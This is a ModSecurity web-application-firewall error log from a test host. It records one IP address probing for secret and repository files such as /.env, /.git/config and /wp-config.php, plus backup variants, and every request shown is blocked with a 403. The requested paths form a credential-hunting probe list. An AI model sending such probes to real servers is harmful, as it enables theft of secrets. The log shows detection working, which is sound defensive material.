[Tue Mar 10 20:33:35.886393 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l7wAAAAA&quot;]
[Tue Mar 10 20:33:35.907350 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l8AAAAAA&quot;]
[Tue Mar 10 20:33:35.907501 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l8AAAAAA&quot;]
[Tue Mar 10 20:33:35.907646 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l8AAAAAA&quot;]
[Tue Mar 10 20:33:35.929410 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l8QAAAAA&quot;]
[Tue Mar 10 20:33:35.929575 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l8QAAAAA&quot;]
[Tue Mar 10 20:33:35.929733 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l8QAAAAA&quot;]
[Tue Mar 10 20:33:35.952367 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l8gAAAAA&quot;]
[Tue Mar 10 20:33:35.952511 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l8gAAAAA&quot;]
[Tue Mar 10 20:33:35.952681 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l8gAAAAA&quot;]
[Tue Mar 10 20:33:35.952937 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l8gAAAAA&quot;]
[Tue Mar 10 20:33:35.997560 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l9AAAAAA&quot;]
[Tue Mar 10 20:33:35.997797 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l9AAAAAA&quot;]
[Tue Mar 10 20:33:35.997945 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;abByD3fj8oMZaPxvti-l9AAAAAA&quot;]
[Tue Mar 10 20:33:36.128160 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abByEHfj8oMZaPxvti-l-AAAAAA&quot;]
[Tue Mar 10 20:33:36.128358 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abByEHfj8oMZaPxvti-l-AAAAAA&quot;]
[Tue Mar 10 20:33:36.128521 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;abByEHfj8oMZaPxvti-l-AAAAAA&quot;]
[Tue Mar 10 20:33:36.153706 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abByEHfj8oMZaPxvti-l-QAAAAA&quot;]
[Tue Mar 10 20:33:36.153869 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abByEHfj8oMZaPxvti-l-QAAAAA&quot;]
[Tue Mar 10 20:33:36.154009 2026] [:error] [pid 2596668] [client 93.123.109.214:59546] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;abByEHfj8oMZaPxvti-l-QAAAAA&quot;]
[Wed Mar 11 01:45:54.833440 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax7QAAAAE&quot;]
[Wed Mar 11 01:45:54.833615 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax7QAAAAE&quot;]
[Wed Mar 11 01:45:54.833753 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax7QAAAAE&quot;]
[Wed Mar 11 01:45:54.861551 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax7gAAAAE&quot;]
[Wed Mar 11 01:45:54.861713 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax7gAAAAE&quot;]
[Wed Mar 11 01:45:54.861849 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax7gAAAAE&quot;]
[Wed Mar 11 01:45:54.890310 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax7wAAAAE&quot;]
[Wed Mar 11 01:45:54.890507 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax7wAAAAE&quot;]
[Wed Mar 11 01:45:54.890728 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax7wAAAAE&quot;]
[Wed Mar 11 01:45:54.890937 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax7wAAAAE&quot;]
[Wed Mar 11 01:45:54.919491 2026] [:error] [pid 2614541] [client 93.123.109.214:40680] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;abC7QrtVF3KfehqQiQax8AAAAAE&quot;]
